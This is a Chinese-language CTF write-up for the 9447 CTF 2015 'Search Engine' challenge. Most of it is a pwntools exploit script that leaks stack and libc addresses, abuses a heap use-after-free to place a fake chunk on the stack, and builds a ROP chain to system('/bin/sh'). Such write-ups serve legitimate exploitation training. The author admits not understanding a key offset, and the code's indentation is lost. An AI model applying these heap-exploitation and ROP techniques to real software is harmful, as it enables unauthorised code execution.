9447 CTF 2015: Search Engine
参考链接:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/
程序分析:
可以看wiki或者我昨天的博客https://editor.youkuaiyun.com/md/?articleId=109756595
简单解惑:
1.如果说, 第一次输入’a’*48的话没有获得地址可能如同下图一样下一个地址上存放的是\x00之类的产生了截断
又因为该程序get num失败后是递归的调用本身所以会向低地址新建栈帧,而不是重复使用,使用所以多调用几次就可以获得地址了
2. 在脚本的leak函数中, 由于第一个node可能会有指针低地址为’\x00’情况, 所以可以根据自己需要再加点小chunk
总结:
程序流程是懂了,但是如何确定栈地址却没有理解, 别的资料上也没细说,就只发一下exp吧:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./9447-search-engine')
elf=ELF('./9447-search-engine')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary='./9447-search-engine'
context.log_level='debug'
prdi_ret=0x400e23
def search_with_a_word(word):
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline(str(len(word)))
sh.recv()
sh.sendline(word)
def index_a_sentence(word):
sh.sendline('2')
sh.sendline(str(len(word)))
sh.sendline(word)
def leak_stack():
#gdb.attach(sh,'b *0x0400A40')
sh.recvuntil('3: Quit\n')
sh.sendline('a'*48)
sh.recv()
sh.sendline('a'*48)
sh.recvuntil('a'*48)
stack_leaked=u64(sh.recv(6).ljust(8,'\x00'))
return stack_leaked
def leak():
index_a_sentence(('a'*12+' b ').ljust(40,'c'))
index_a_sentence('w'*8)#make data in low add != 0
search_with_a_word('a'*12)
sh.sendline('y')
index_a_sentence('d'*64)
search_with_a_word('\x00')
sh.sendline('y')
node=''
node+=p64(0x0400E90)#'Enter'
node+=p64(5)
node+=p64(elf.got['puts'])
node+=p64(64)
node+=p64(0)
assert len(node)==40
index_a_sentence(node)
search_with_a_word('Enter')
sh.recvuntil('Found 64: ')
puts_addr=u64(sh.recv()[:8])
libcbase=puts_addr-libc.sym['puts']
sh.sendline('n')
return libcbase
def make_cycle():
index_a_sentence('a'*54+' d')
index_a_sentence('b'*54+' d')
index_a_sentence('c'*54+' d')
search_with_a_word('d')
sh.sendline('y')
sh.sendline('y')
sh.sendline('y')
search_with_a_word('\x00')
sh.sendline('y')
sh.sendline('n')
def make_fake_chunk(addr):
fake_chunk=p64(addr)
fake_chunk=fake_chunk.ljust(56)
index_a_sentence(fake_chunk)
def allocate_fake_chunk(bsh_addr,sys_addr):
index_a_sentence('a'*56)
index_a_sentence('a'*56)
buf='A'*30
buf+=p64(prdi_ret)
buf+=p64(bsh_addr)
buf+=p64(sys_addr)
buf=buf.ljust(56,'C')
index_a_sentence(buf)
stack_leaked=leak_stack()
print 'stack be leaked is '+hex(stack_leaked)
stack_addr=stack_leaked+0x22-8
libcbase=leak()
print 'libcbase is '+hex(libcbase)
sys_addr=libcbase+libc.sym['system']
bsh_addr=libcbase+libc.search('/bin/sh').next()
make_cycle()
make_fake_chunk(stack_addr)
allocate_fake_chunk(bsh_addr,sys_addr)
sh.interactive()